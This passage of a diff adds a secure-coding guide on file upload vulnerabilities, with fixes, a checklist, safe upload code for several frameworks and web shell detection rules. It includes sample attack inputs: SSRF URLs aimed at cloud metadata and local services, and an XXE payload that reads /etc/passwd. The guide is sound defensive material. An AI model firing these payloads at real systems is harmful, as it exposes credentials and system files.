raise SecurityError(f"Archive contains too many files")
|
|
584
|
+
|
|
585
|
+
# Check compression ratio
|
|
586
|
+
compressed_size = os.path.getsize(zip_path)
|
|
587
|
+
if compressed_size > 0 and total_size / compressed_size > 100:
|
|
588
|
+
raise SecurityError("Suspicious compression ratio detected")
|
|
589
|
+
|
|
590
|
+
for info in zf.infolist():
|
|
591
|
+
# Prevent path traversal within archive
|
|
592
|
+
if info.filename.startswith('/') or '..' in info.filename:
|
|
593
|
+
raise SecurityError("Path traversal in archive entry")
|
|
594
|
+
zf.extract(info, extract_to)
|
|
595
|
+
```
|
|
596
|
+
|
|
597
|
+
### V-06: SSRF via URL-Based Upload
|
|
598
|
+
|
|
599
|
+
**CWE:** CWE-918 (Server-Side Request Forgery)
|
|
600
|
+
**Attack:** "Upload from URL" feature abused to access internal services:
|
|
601
|
+
`http://169.254.169.254/latest/meta-data/` (AWS metadata),
|
|
602
|
+
`http://localhost:6379/` (Redis), `file:///etc/passwd`.
|
|
603
|
+
|
|
604
|
+
**Fix:** Validate and restrict URL schemes (HTTPS only), resolve DNS and reject
|
|
605
|
+
private IP ranges (10.x, 172.16-31.x, 192.168.x, 169.254.x, 127.x, ::1),
|
|
606
|
+
use allowlisted domains if possible, and set strict timeouts.
|
|
607
|
+
|
|
608
|
+
### V-07: Missing Size Limits
|
|
609
|
+
|
|
610
|
+
**CWE:** CWE-770 (Allocation of Resources Without Limits)
|
|
611
|
+
**Attack:** Upload multi-gigabyte files to exhaust disk space, memory, or bandwidth.
|
|
612
|
+
|
|
613
|
+
**Fix:** Enforce limits at multiple layers — web server (nginx `client_max_body_size`),
|
|
614
|
+
reverse proxy, application framework, and application code.
|
|
615
|
+
|
|
616
|
+
### V-08: Executable Upload to Webroot
|
|
617
|
+
|
|
618
|
+
**CWE:** CWE-434
|
|
619
|
+
**Attack:** Upload `.php`, `.jsp`, `.aspx`, `.py`, `.cgi` file directly to a web-accessible
|
|
620
|
+
directory where the server executes it.
|
|
621
|
+
|
|
622
|
+
**Fix:** Store uploads outside the webroot. Configure the web server to never execute
|
|
623
|
+
files in upload directories. Serve through a separate application route with forced
|
|
624
|
+
`Content-Disposition: attachment`.
|
|
625
|
+
|
|
626
|
+
### V-09: XML External Entity in Document Uploads
|
|
627
|
+
|
|
628
|
+
**CWE:** CWE-611 (Improper Restriction of XML External Entity Reference)
|
|
629
|
+
**Attack:** DOCX, XLSX, SVG, and other XML-based formats can contain XXE payloads.
|
|
630
|
+
|
|
631
|
+
```xml
|
|
632
|
+
<?xml version="1.0"?>
|
|
633
|
+
<!DOCTYPE foo [
|
|
634
|
+
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
635
|
+
]>
|
|
636
|
+
<svg>&xxe;</svg>
|
|
637
|
+
```
|
|
638
|
+
|
|
639
|
+
**Fix:** Disable external entity processing in all XML parsers. For document processing,
|
|
640
|
+
use libraries with XXE protection enabled by default (e.g., `defusedxml` in Python).
|
|
641
|
+
|
|
642
|
+
### V-10: Polyglot File Attacks
|
|
643
|
+
|
|
644
|
+
**CWE:** CWE-434
|
|
645
|
+
**Attack:** Craft files that are simultaneously valid as two formats (e.g., a valid
|
|
646
|
+
JPEG that is also a valid PHP script, or a GIF that is also a JAR file — "GIFAR").
|
|
647
|
+
|
|
648
|
+
**Fix:** Re-encode/re-process files through format-specific libraries (e.g., re-save
|
|
649
|
+
images through sharp/Pillow). This destroys any embedded secondary payloads.
|
|
650
|
+
|
|
651
|
+
### V-11: Race Condition in Upload-Then-Scan
|
|
652
|
+
|
|
653
|
+
**CWE:** CWE-367 (Time-of-check Time-of-use)
|
|
654
|
+
**Attack:** Access uploaded file in the window between upload completion and virus
|
|
655
|
+
scan completion.
|
|
656
|
+
|
|
657
|
+
**Fix:** Upload to a quarantine/staging area that is not accessible. Only move to
|
|
658
|
+
the serving location after scan passes.
|
|
659
|
+
|
|
660
|
+
### V-12: Content-Type Mismatch on Serving
|
|
661
|
+
|
|
662
|
+
**CWE:** CWE-430 (Deployment of Wrong Handler)
|
|
663
|
+
**Attack:** Browser performs MIME sniffing and executes uploaded HTML/JavaScript files
|
|
664
|
+
despite the server sending a safe Content-Type.
|
|
665
|
+
|
|
666
|
+
**Fix:** Always set `X-Content-Type-Options: nosniff`. Send the correct Content-Type
|
|
667
|
+
from stored metadata. Serve user content from a separate domain.
|
|
668
|
+
|
|
669
|
+
### V-13: Metadata Exfiltration
|
|
670
|
+
|
|
671
|
+
**CWE:** CWE-200 (Exposure of Sensitive Information)
|
|
672
|
+
**Attack:** Uploaded images retain EXIF data containing GPS coordinates, device model,
|
|
673
|
+
timestamps, and sometimes thumbnails of pre-crop content.
|
|
674
|
+
|
|
675
|
+
**Fix:** Strip all metadata using sharp (`sharp(buf).rotate()` auto-strips EXIF) or
|
|
676
|
+
ExifTool. Re-encoding through an image library typically removes metadata.
|
|
677
|
+
|
|
678
|
+
### V-14: Insecure Direct Object Reference on Download
|
|
679
|
+
|
|
680
|
+
**CWE:** CWE-639 (Authorization Bypass Through User-Controlled Key)
|
|
681
|
+
**Attack:** Enumerate file IDs (`/download/1`, `/download/2`, ...) to access other
|
|
682
|
+
users' uploaded files.
|
|
683
|
+
|
|
684
|
+
**Fix:** Use unpredictable identifiers (UUIDs), enforce authorization checks on every
|
|
685
|
+
download request, and verify the requesting user has access to the specific file.
|
|
686
|
+
|
|
687
|
+
---
|
|
688
|
+
|
|
689
|
+
## 5. Security Checklist
|
|
690
|
+
|
|
691
|
+
Use this checklist when implementing or reviewing file upload functionality:
|
|
692
|
+
|
|
693
|
+
### Input Validation
|
|
694
|
+
- [ ] File type validated using magic bytes (not just extension or Content-Type header)
|
|
695
|
+
- [ ] Strict allowlist of permitted MIME types enforced
|
|
696
|
+
- [ ] File extension validated against allowlist (defense-in-depth, not sole check)
|
|
697
|
+
- [ ] Maximum file size enforced at web server AND application level
|
|
698
|
+
- [ ] Maximum upload count per request enforced
|
|
699
|
+
- [ ] Filename sanitized — path separators, null bytes, control characters removed
|
|
700
|
+
- [ ] Archive files (ZIP/TAR) checked for decompression bombs before extraction
|
|
701
|
+
|
|
702
|
+
### Storage & Processing
|
|
703
|
+
- [ ] Files stored outside the webroot in a non-executable directory
|
|
704
|
+
- [ ] Random/UUID filenames used for storage (original name stored in database)
|
|
705
|
+
- [ ] Upload directory has no execute permissions
|
|
706
|
+
- [ ] Antivirus/malware scan performed before file is made available
|
|
707
|
+
- [ ] Files quarantined until scan completes (no TOCTOU window)
|
|
708
|
+
- [ ] Images re-encoded through a safe library (sharp, Pillow) to strip payloads
|
|
709
|
+
- [ ] EXIF/metadata stripped from images before storage
|
|
710
|
+
|
|
711
|
+
### Serving & Access Control
|
|
712
|
+
- [ ] Files served with `Content-Disposition: attachment` (or inline only for safe types)
|
|
713
|
+
- [ ] `X-Content-Type-Options: nosniff` header set on all served files
|
|
714
|
+
- [ ] `Content-Security-Policy: default-src 'none'` set for served user content
|
|
715
|
+
- [ ] User content served from a separate domain (e.g., uploads.example.com)
|
|
716
|
+
- [ ] Authorization checked on every file access request
|
|
717
|
+
- [ ] Unpredictable file identifiers used (UUID, not sequential integer)
|
|
718
|
+
|
|
719
|
+
### Infrastructure
|
|
720
|
+
- [ ] Rate limiting applied to upload endpoints
|
|
721
|
+
- [ ] Upload activity logged (user, filename, type, hash, scan result)
|
|
722
|
+
- [ ] Cloud storage buckets configured with encryption-at-rest
|
|
723
|
+
- [ ] Presigned URLs used with short expiration times (5-15 minutes)
|
|
724
|
+
|
|
725
|
+
---
|
|
726
|
+
|
|
727
|
+
## 6. Tools & Automation
|
|
728
|
+
|
|
729
|
+
### 6.1 File Type Detection Libraries
|
|
730
|
+
|
|
731
|
+
| Language | Library | Notes |
|
|
732
|
+
|----------|---------|-------|
|
|
733
|
+
| Node.js | `file-type` | Detects binary formats via magic bytes; ESM-only since v17 |
|
|
734
|
+
| Node.js | `magic-bytes.js` | Lightweight; only needs first ~100 bytes of file |
|
|
735
|
+
| Node.js | `mmmagic` | Node binding to libmagic |
|
|
736
|
+
| Python | `python-magic` | Wrapper around libmagic; `magic.from_buffer(data, mime=True)` |
|
|
737
|
+
| Python | `filetype` | Pure Python, no system dependencies |
|
|
738
|
+
| Java | `Apache Tika` | Comprehensive content detection and extraction |
|
|
739
|
+
| Go | `http.DetectContentType` | Built-in, checks first 512 bytes |
|
|
740
|
+
|
|
741
|
+
### 6.2 Malware Scanning
|
|
742
|
+
|
|
743
|
+
| Tool | Type | Integration |
|
|
744
|
+
|------|------|-------------|
|
|
745
|
+
| **ClamAV** | Open-source antivirus | clamd daemon via Unix socket or TCP; `clamscan` CLI |
|
|
746
|
+
| **VirusTotal API** | Cloud multi-engine | REST API; 70+ AV engines; rate limits on free tier |
|
|
747
|
+
| **AWS GuardDuty Malware Protection** | AWS-native | Automatic scanning for S3 and EBS |
|
|
748
|
+
| **Google Cloud DLP** | GCP-native | Scans for sensitive data in uploaded content |
|
|
749
|
+
| **OPSWAT MetaDefender** | Commercial multi-engine | 30+ AV engines, deep CDR (Content Disarm & Reconstruction) |
|
|
750
|
+
|
|
751
|
+
### 6.3 Image Processing (Safe)
|
|
752
|
+
|
|
753
|
+
| Library | Language | Security Advantage |
|
|
754
|
+
|---------|----------|--------------------|
|
|
755
|
+
| **sharp** | Node.js (libvips) | Re-encodes images, strips metadata, fast |
|
|
756
|
+
| **Pillow** | Python | Re-encoding neutralizes polyglots; `Image.verify()` for validation |
|
|
757
|
+
| **libvips** | C (bindings for many languages) | Memory-efficient, sandboxed processing |
|
|
758
|
+
|
|
759
|
+
### 6.4 WAF File Upload Rules
|
|
760
|
+
|
|
761
|
+
- **AWS WAF:** Use size constraint rules to limit body size; custom rules to inspect
|
|
762
|
+
Content-Type against allowlist
|
|
763
|
+
- **Cloudflare WAF:** Built-in rules for file upload attacks; custom rules for content
|
|
764
|
+
type enforcement
|
|
765
|
+
- **ModSecurity (OWASP CRS):** Rules 921xxx cover file upload protections including
|
|
766
|
+
content type validation and restricted extensions
|
|
767
|
+
|
|
768
|
+
### 6.5 Cloud Storage Security Configuration
|
|
769
|
+
|
|
770
|
+
**AWS S3:**
|
|
771
|
+
- Enable default encryption (SSE-S3 or SSE-KMS)
|
|
772
|
+
- Block all public access (`BlockPublicAcls`, `BlockPublicPolicy`, `IgnorePublicAcls`,
|
|
773
|
+
`RestrictPublicBuckets`)
|
|
774
|
+
- Enable versioning for recovery from overwrites
|
|
775
|
+
- Enable access logging to a separate bucket
|
|
776
|
+
- Use VPC endpoints for internal access
|
|
777
|
+
|
|
778
|
+
**Google Cloud Storage:**
|
|
779
|
+
- Enable uniform bucket-level access (disable ACLs)
|
|
780
|
+
- Use Customer-Managed Encryption Keys (CMEK) for sensitive data
|
|
781
|
+
- Enable Object Versioning
|
|
782
|
+
- Configure retention policies where appropriate
|
|
783
|
+
- Use VPC Service Controls for perimeter security
|
|
784
|
+
|
|
785
|
+
---
|
|
786
|
+
|
|
787
|
+
## 7. Platform-Specific Guidance
|
|
788
|
+
|
|
789
|
+
### 7.1 Express.js with Multer
|
|
790
|
+
|
|
791
|
+
```typescript
|
|
792
|
+
import express from 'express';
|
|
793
|
+
import multer from 'multer';
|
|
794
|
+
import { fileTypeFromBuffer } from 'file-type';
|
|
795
|
+
import { randomUUID } from 'crypto';
|
|
796
|
+
import path from 'path';
|
|
797
|
+
import rateLimit from 'express-rate-limit';
|
|
798
|
+
|
|
799
|
+
// --- SECURE multer configuration ---
|
|
800
|
+
const UPLOAD_DIR = '/var/app/uploads'; // Outside webroot!
|
|
801
|
+
const MAX_FILE_SIZE = 5 * 1024 * 1024; // 5 MB
|
|
802
|
+
const ALLOWED_MIMES = new Set(['image/jpeg', 'image/png', 'image/webp']);
|
|
803
|
+
|
|
804
|
+
const storage = multer.memoryStorage(); // Use memory for validation before saving
|
|
805
|
+
|
|
806
|
+
const upload = multer({
|
|
807
|
+
storage,
|
|
808
|
+
limits: {
|
|
809
|
+
fileSize: MAX_FILE_SIZE,
|
|
810
|
+
files: 1, // Max files per request
|
|
811
|
+
fields: 10, // Max non-file fields
|
|
812
|
+
fieldSize: 1024, // Max field value size
|
|
813
|
+
},
|
|
814
|
+
fileFilter: (_req, file, cb) => {
|
|
815
|
+
// First pass: check declared MIME (defense-in-depth, not sole check)
|
|
816
|
+
if (!ALLOWED_MIMES.has(file.mimetype)) {
|
|
817
|
+
return cb(new Error(`MIME type ${file.mimetype} not allowed`));
|
|
818
|
+
}
|
|
819
|
+
// Check extension
|
|
820
|
+
const ext = path.extname(file.originalname).toLowerCase();
|
|
821
|
+
const ALLOWED_EXTS = new Set(['.jpg', '.jpeg', '.png', '.webp']);
|
|
822
|
+
if (!ALLOWED_EXTS.has(ext)) {
|
|
823
|
+
return cb(new Error(`Extension ${ext} not allowed`));
|
|
824
|
+
}
|
|
825
|
+
cb(null, true);
|
|
826
|
+
},
|
|
827
|
+
});
|
|
828
|
+
|
|
829
|
+
// Rate limit uploads
|
|
830
|
+
const uploadLimiter = rateLimit({
|
|
831
|
+
windowMs: 15 * 60 * 1000, // 15 minutes
|
|
832
|
+
max: 20, // 20 uploads per window
|
|
833
|
+
message: 'Too many uploads, please try again later',
|
|
834
|
+
});
|
|
835
|
+
|
|
836
|
+
const app = express();
|
|
837
|
+
|
|
838
|
+
app.post('/api/upload',
|
|
839
|
+
uploadLimiter,
|
|
840
|
+
upload.single('file'),
|
|
841
|
+
async (req, res) => {
|
|
842
|
+
try {
|
|
843
|
+
if (!req.file) {
|
|
844
|
+
return res.status(400).json({ error: 'No file provided' });
|
|
845
|
+
}
|
|
846
|
+
|
|
847
|
+
// Second pass: validate magic bytes
|
|
848
|
+
const typeResult = await fileTypeFromBuffer(req.file.buffer);
|
|
849
|
+
if (!typeResult || !ALLOWED_MIMES.has(typeResult.mime)) {
|
|
850
|
+
return res.status(400).json({
|
|
851
|
+
error: 'File content does not match allowed types',
|
|
852
|
+
});
|
|
853
|
+
}
|
|
854
|
+
|
|
855
|
+
// Generate safe filename
|
|
856
|
+
const safeFilename = `${randomUUID()}.${typeResult.ext}`;
|
|
857
|
+
const storagePath = path.join(UPLOAD_DIR, safeFilename);
|
|
858
|
+
|
|
859
|
+
// Process image (re-encode to strip payloads/metadata)
|
|
860
|
+
const sharp = (await import('sharp')).default;
|
|
861
|
+
const processed = await sharp(req.file.buffer)
|
|
862
|
+
.resize(2048, 2048, { fit: 'inside', withoutEnlargement: true })
|
|
863
|
+
.toFormat(typeResult.ext as keyof sharp.FormatEnum)
|
|
864
|
+
.toBuffer();
|
|
865
|
+
|
|
866
|
+
// Scan for malware (if ClamAV available)
|
|
867
|
+
// await scanBuffer(processed);
|
|
868
|
+
|
|
869
|
+
// Save to disk
|
|
870
|
+
const fs = await import('fs/promises');
|
|
871
|
+
await fs.writeFile(storagePath, processed);
|
|
872
|
+
|
|
873
|
+
// Store metadata in database
|
|
874
|
+
// await db.files.create({ ... });
|
|
875
|
+
|
|
876
|
+
return res.status(201).json({
|
|
877
|
+
id: safeFilename.split('.')[0],
|
|
878
|
+
originalName: req.file.originalname,
|
|
879
|
+
size: processed.length,
|
|
880
|
+
type: typeResult.mime,
|
|
881
|
+
});
|
|
882
|
+
} catch (err) {
|
|
883
|
+
console.error('Upload error:', err);
|
|
884
|
+
return res.status(500).json({ error: 'Upload failed' });
|
|
885
|
+
}
|
|
886
|
+
},
|
|
887
|
+
);
|
|
888
|
+
|
|
889
|
+
// Error handler for multer errors
|
|
890
|
+
app.use((err: any, _req: any, res: any, _next: any) => {
|
|
891
|
+
if (err instanceof multer.MulterError) {
|
|
892
|
+
if (err.code === 'LIMIT_FILE_SIZE') {
|
|
893
|
+
return res.status(413).json({ error: 'File too large' });
|
|
894
|
+
}
|
|
895
|
+
return res.status(400).json({ error: err.message });
|
|
896
|
+
}
|
|
897
|
+
if (err.message?.includes('not allowed')) {
|
|
898
|
+
return res.status(400).json({ error: err.message });
|
|
899
|
+
}
|
|
900
|
+
return res.status(500).json({ error: 'Internal server error' });
|
|
901
|
+
});
|
|
902
|
+
```
|
|
903
|
+
|
|
904
|
+
### 7.2 Django File Upload Handling
|
|
905
|
+
|
|
906
|
+
```python
|
|
907
|
+
# settings.py
|
|
908
|
+
FILE_UPLOAD_MAX_MEMORY_SIZE = 5 * 1024 * 1024 # 5 MB
|
|
909
|
+
DATA_UPLOAD_MAX_MEMORY_SIZE = 5 * 1024 * 1024
|
|
910
|
+
FILE_UPLOAD_PERMISSIONS = 0o644
|
|
911
|
+
FILE_UPLOAD_DIRECTORY_PERMISSIONS = 0o755
|
|
912
|
+
MEDIA_ROOT = '/var/app/uploads' # Outside webroot
|
|
913
|
+
|
|
914
|
+
# validators.py
|
|
915
|
+
import magic
|
|
916
|
+
import uuid
|
|
917
|
+
from django.core.exceptions import ValidationError
|
|
918
|
+
from django.core.validators import FileExtensionValidator
|
|
919
|
+
|
|
920
|
+
ALLOWED_MIME_TYPES = {'image/jpeg', 'image/png', 'image/webp'}
|
|
921
|
+
ALLOWED_EXTENSIONS = ['jpg', 'jpeg', 'png', 'webp']
|
|
922
|
+
|
|
923
|
+
def validate_file_content_type(uploaded_file):
|
|
924
|
+
"""Validate file type using magic bytes, not headers."""
|
|
925
|
+
mime = magic.from_buffer(uploaded_file.read(2048), mime=True)
|
|
926
|
+
uploaded_file.seek(0) # Reset file pointer
|
|
927
|
+
|
|
928
|
+
if mime not in ALLOWED_MIME_TYPES:
|
|
929
|
+
raise ValidationError(
|
|
930
|
+
f'File type {mime} is not allowed. '
|
|
931
|
+
f'Allowed types: {", ".join(ALLOWED_MIME_TYPES)}'
|
|
932
|
+
)
|
|
933
|
+
|
|
934
|
+
def validate_file_size(uploaded_file):
|
|
935
|
+
max_size = 5 * 1024 * 1024
|
|
936
|
+
if uploaded_file.size > max_size:
|
|
937
|
+
raise ValidationError(f'File size exceeds {max_size // (1024*1024)}MB limit.')
|
|
938
|
+
|
|
939
|
+
# models.py
|
|
940
|
+
from django.db import models
|
|
941
|
+
|
|
942
|
+
class SecureUpload(models.Model):
|
|
943
|
+
id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
|
|
944
|
+
file = models.FileField(
|
|
945
|
+
upload_to='uploads/%Y/%m/',
|
|
946
|
+
validators=[
|
|
947
|
+
FileExtensionValidator(allowed_extensions=ALLOWED_EXTENSIONS),
|
|
948
|
+
validate_file_content_type,
|
|
949
|
+
validate_file_size,
|
|
950
|
+
],
|
|
951
|
+
)
|
|
952
|
+
original_filename = models.CharField(max_length=255)
|
|
953
|
+
detected_mime = models.CharField(max_length=100)
|
|
954
|
+
file_hash = models.CharField(max_length=64) # SHA-256
|
|
955
|
+
uploaded_by = models.ForeignKey('auth.User', on_delete=models.CASCADE)
|
|
956
|
+
uploaded_at = models.DateTimeField(auto_now_add=True)
|
|
957
|
+
scan_status = models.CharField(
|
|
958
|
+
max_length=20,
|
|
959
|
+
choices=[('pending', 'Pending'), ('clean', 'Clean'), ('infected', 'Infected')],
|
|
960
|
+
default='pending',
|
|
961
|
+
)
|
|
962
|
+
|
|
963
|
+
# views.py
|
|
964
|
+
from django.http import FileResponse, HttpResponseForbidden
|
|
965
|
+
import hashlib
|
|
966
|
+
|
|
967
|
+
def serve_file(request, file_id):
|
|
968
|
+
upload = SecureUpload.objects.get(id=file_id)
|
|
969
|
+
|
|
970
|
+
# Authorization check
|
|
971
|
+
if not request.user.has_perm('view_upload', upload):
|
|
972
|
+
return HttpResponseForbidden()
|
|
973
|
+
|
|
974
|
+
if upload.scan_status != 'clean':
|
|
975
|
+
return HttpResponseForbidden('File is not available')
|
|
976
|
+
|
|
977
|
+
response = FileResponse(upload.file, content_type=upload.detected_mime)
|
|
978
|
+
response['Content-Disposition'] = (
|
|
979
|
+
f'attachment; filename="{upload.original_filename}"'
|
|
980
|
+
)
|
|
981
|
+
response['X-Content-Type-Options'] = 'nosniff'
|
|
982
|
+
response['Content-Security-Policy'] = "default-src 'none'"
|
|
983
|
+
return response
|
|
984
|
+
```
|
|
985
|
+
|
|
986
|
+
### 7.3 Spring Boot (Java) — MultipartFile
|
|
987
|
+
|
|
988
|
+
```java
|
|
989
|
+
@RestController
|
|
990
|
+
@RequestMapping("/api/uploads")
|
|
991
|
+
public class FileUploadController {
|
|
992
|
+
|
|
993
|
+
private static final Set<String> ALLOWED_TYPES =
|
|
994
|
+
Set.of("image/jpeg", "image/png", "image/webp");
|
|
995
|
+
private static final long MAX_FILE_SIZE = 5 * 1024 * 1024; // 5 MB
|
|
996
|
+
private static final Path UPLOAD_DIR = Paths.get("/var/app/uploads");
|
|
997
|
+
|
|
998
|
+
@PostMapping
|
|
999
|
+
public ResponseEntity<?> uploadFile(
|
|
1000
|
+
@RequestParam("file") MultipartFile file,
|
|
1001
|
+
Authentication auth) {
|
|
1002
|
+
|
|
1003
|
+
// Size check
|
|
1004
|
+
if (file.isEmpty() || file.getSize() > MAX_FILE_SIZE) {
|
|
1005
|
+
return ResponseEntity.badRequest()
|
|
1006
|
+
.body(Map.of("error", "Invalid file size"));
|
|
1007
|
+
}
|
|
1008
|
+
|
|
1009
|
+
try {
|
|
1010
|
+
// Validate content type via magic bytes using Apache Tika
|
|
1011
|
+
Tika tika = new Tika();
|
|
1012
|
+
String detectedType = tika.detect(file.getInputStream());
|
|
1013
|
+
|
|
1014
|
+
if (!ALLOWED_TYPES.contains(detectedType)) {
|
|
1015
|
+
return ResponseEntity.badRequest()
|
|
1016
|
+
.body(Map.of("error", "File type not allowed: " + detectedType));
|
|
1017
|
+
}
|
|
1018
|
+
|
|
1019
|
+
// Generate safe filename
|
|
1020
|
+
String extension = switch (detectedType) {
|
|
1021
|
+
case "image/jpeg" -> ".jpg";
|
|
1022
|
+
case "image/png" -> ".png";
|
|
1023
|
+
case "image/webp" -> ".webp";
|
|
1024
|
+
default -> ".bin";
|
|
1025
|
+
};
|
|
1026
|
+
String safeFilename = UUID.randomUUID() + extension;
|
|
1027
|
+
Path targetPath = UPLOAD_DIR.resolve(safeFilename);
|
|
1028
|
+
|
|
1029
|
+
// Verify path is within upload directory (prevent traversal)
|
|
1030
|
+
if (!targetPath.normalize().startsWith(UPLOAD_DIR)) {
|
|
1031
|
+
return ResponseEntity.badRequest()
|
|
1032
|
+
.body(Map.of("error", "Invalid file path"));
|
|
1033
|
+
}
|
|
1034
|
+
|
|
1035
|
+
// Save file
|
|
1036
|
+
Files.copy(file.getInputStream(), targetPath,
|
|
1037
|
+
StandardCopyOption.REPLACE_EXISTING);
|
|
1038
|
+
|
|
1039
|
+
// Set non-executable permissions
|
|
1040
|
+
Set<PosixFilePermission> perms = PosixFilePermissions.fromString("rw-r-----");
|
|
1041
|
+
Files.setPosixFilePermissions(targetPath, perms);
|
|
1042
|
+
|
|
1043
|
+
return ResponseEntity.status(HttpStatus.CREATED)
|
|
1044
|
+
.body(Map.of(
|
|
1045
|
+
"id", safeFilename.replace(extension, ""),
|
|
1046
|
+
"type", detectedType,
|
|
1047
|
+
"size", file.getSize()
|
|
1048
|
+
));
|
|
1049
|
+
|
|
1050
|
+
} catch (IOException e) {
|
|
1051
|
+
return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR)
|
|
1052
|
+
.body(Map.of("error", "Upload failed"));
|
|
1053
|
+
}
|
|
1054
|
+
}
|
|
1055
|
+
}
|
|
1056
|
+
```
|
|
1057
|
+
|
|
1058
|
+
**Spring Boot configuration** (`application.yml`):
|
|
1059
|
+
|
|
1060
|
+
```yaml
|
|
1061
|
+
spring:
|
|
1062
|
+
servlet:
|
|
1063
|
+
multipart:
|
|
1064
|
+
max-file-size: 5MB
|
|
1065
|
+
max-request-size: 10MB
|
|
1066
|
+
file-size-threshold: 2KB # Stream to disk above this
|
|
1067
|
+
location: /tmp/spring-uploads
|
|
1068
|
+
server:
|
|
1069
|
+
tomcat:
|
|
1070
|
+
max-swallow-size: 5MB
|
|
1071
|
+
```
|
|
1072
|
+
|
|
1073
|
+
### 7.4 Mobile — Image Picker Security
|
|
1074
|
+
|
|
1075
|
+
**iOS (Swift):**
|
|
1076
|
+
```swift
|
|
1077
|
+
// Validate picked image before upload
|
|
1078
|
+
func processPickedImage(_ image: UIImage) -> Data? {
|
|
1079
|
+
// Re-encode to strip EXIF and potential payloads
|
|
1080
|
+
guard let jpegData = image.jpegData(compressionQuality: 0.85) else {
|
|
1081
|
+
return nil
|
|
1082
|
+
}
|
|
1083
|
+
|
|
1084
|
+
// Validate size
|
|
1085
|
+
let maxSize = 5 * 1024 * 1024 // 5 MB
|
|
1086
|
+
guard jpegData.count <= maxSize else {
|
|
1087
|
+
return nil
|
|
1088
|
+
}
|
|
1089
|
+
|
|
1090
|
+
// Verify magic bytes
|
|
1091
|
+
let header = [UInt8](jpegData.prefix(3))
|
|
1092
|
+
guard header == [0xFF, 0xD8, 0xFF] else {
|
|
1093
|
+
return nil
|
|
1094
|
+
}
|
|
1095
|
+
|
|
1096
|
+
return jpegData
|
|
1097
|
+
}
|
|
1098
|
+
```
|
|
1099
|
+
|
|
1100
|
+
**Android (Kotlin):**
|
|
1101
|
+
```kotlin
|
|
1102
|
+
// Validate file before upload
|
|
1103
|
+
fun validateUploadFile(context: Context, uri: Uri): Boolean {
|
|
1104
|
+
val contentResolver = context.contentResolver
|
|
1105
|
+
|
|
1106
|
+
// Check MIME type from content resolver (not extension)
|
|
1107
|
+
val mimeType = contentResolver.getType(uri)
|
|
1108
|
+
val allowedTypes = setOf("image/jpeg", "image/png", "image/webp")
|
|
1109
|
+
if (mimeType !in allowedTypes) return false
|
|
1110
|
+
|
|
1111
|
+
// Check file size
|
|
1112
|
+
val cursor = contentResolver.query(uri, null, null, null, null)
|
|
1113
|
+
val size = cursor?.use {
|
|
1114
|
+
it.moveToFirst()
|
|
1115
|
+
it.getLong(it.getColumnIndexOrThrow(OpenableColumns.SIZE))
|
|
1116
|
+
} ?: return false
|
|
1117
|
+
|
|
1118
|
+
if (size > 5 * 1024 * 1024) return false // 5 MB limit
|
|
1119
|
+
|
|
1120
|
+
// Validate magic bytes
|
|
1121
|
+
contentResolver.openInputStream(uri)?.use { stream ->
|
|
1122
|
+
val header = ByteArray(4)
|
|
1123
|
+
stream.read(header)
|
|
1124
|
+
val isJpeg = header[0] == 0xFF.toByte() && header[1] == 0xD8.toByte()
|
|
1125
|
+
val isPng = header.contentEquals(byteArrayOf(0x89.toByte(), 0x50, 0x4E, 0x47))
|
|
1126
|
+
if (!isJpeg && !isPng) return false
|
|
1127
|
+
}
|
|
1128
|
+
|
|
1129
|
+
return true
|
|
1130
|
+
}
|
|
1131
|
+
```
|
|
1132
|
+
|
|
1133
|
+
---
|
|
1134
|
+
|
|
1135
|
+
## 8. Incident Patterns
|
|
1136
|
+
|
|
1137
|
+
### 8.1 Web Shell Detection
|
|
1138
|
+
|
|
1139
|
+
**Indicators of compromise:**
|
|
1140
|
+
- New or modified files in web-accessible directories with script extensions
|
|
1141
|
+
(.php, .jsp, .aspx, .py)
|
|
1142
|
+
- Web server process spawning command-line interpreters (cmd.exe, /bin/bash, powershell)
|
|
1143
|
+
- Unusual outbound connections from web server processes
|
|
1144
|
+
- HTTP requests to unusual file paths with limited, geographically disparate sources
|
|
1145
|
+
- Unusually large responses from specific URIs (data exfiltration)
|
|
1146
|
+
- Recurring off-peak access times suggesting foreign operator timezone
|
|
1147
|
+
- Files with obfuscated content (base64-encoded eval, gzinflate, char codes)
|
|
1148
|
+
|
|
1149
|
+
**Detection rules (SIEM/IDS):**
|
|
1150
|
+
```yaml
|
|
1151
|
+
# Elastic detection rule — web server spawning shell
|
|
1152
|
+
rule:
|
|
1153
|
+
name: "Web Shell - Command Execution"
|
|
1154
|
+
description: "Detects web server process spawning command interpreters"
|
|
1155
|
+
type: eql
|
|
1156
|
+
query: |
|
|
1157
|
+
process where event.type == "start"
|
|
1158
|
+
and process.parent.name in ("httpd", "nginx", "w3wp.exe", "tomcat*", "node")
|
|
1159
|
+
and process.name in ("cmd.exe", "powershell.exe", "bash", "sh", "python*")
|
|
1160
|
+
|
|
1161
|
+
# File integrity monitoring — new files in webroot
|
|
1162
|
+
rule:
|
|
1163
|
+
name: "New File in Web Root"
|
|
1164
|
+
description: "Alert on new script files created in web-accessible directories"
|
|
1165
|
+
type: file_integrity
|
|
1166
|
+
paths:
|
|
1167
|
+
- /var/www/html/**
|
|
1168
|
+
- /usr/share/nginx/html/**
|
|
1169
|
+
patterns:
|
|
1170
|
+
- "*.php"
|
|
1171
|
+
- "*.jsp"
|
|
1172
|
+
- "*.aspx"
|
|
1173
|
+
- "*.py"
|
|
1174
|
+
- "*.cgi"
|
|
1175
|
+
```
|
|
1176
|
+
|
|
1177
|
+
**Response steps:**
|
|
1178
|
+
1. Isolate the affected server — do not shut down (preserve forensic evidence)
|
|
1179
|
+
2. Capture disk image and memory dump
|
|
1180
|
+
3. Identify the web shell(s) — check for unusual files, compare against known-good baseline
|
|
1181
|
+
4. Determine entry vector — review upload logs, access logs, and vulnerability scans
|
|
1182
|
+
5. Search for lateral movement — check for credentials accessed, other systems contacted
|
|
1183
|
+
6. Remove web shells and patch the entry vulnerability
|
|
1184
|
+
7. Reset all credentials that may have been exposed
|
|
1185
|
+
8. Implement file integrity monitoring to detect future web shells
|
|
1186
|
+
|
|
1187
|
+
### 8.2 Malware Upload Detection
|
|
1188
|
+
|
|
1189
|
+
**Indicators:**
|
|
1190
|
+
- ClamAV or other scanner producing positive detections
|
|
1191
|
+
- Files with executable headers in non-executable upload areas
|
|
1192
|
+
- Files with mismatched extension and magic bytes (e.g., `.jpg` with `MZ` header)
|
|
1193
|
+
- Spike in upload activity from a single IP or account
|
|
1194
|
+
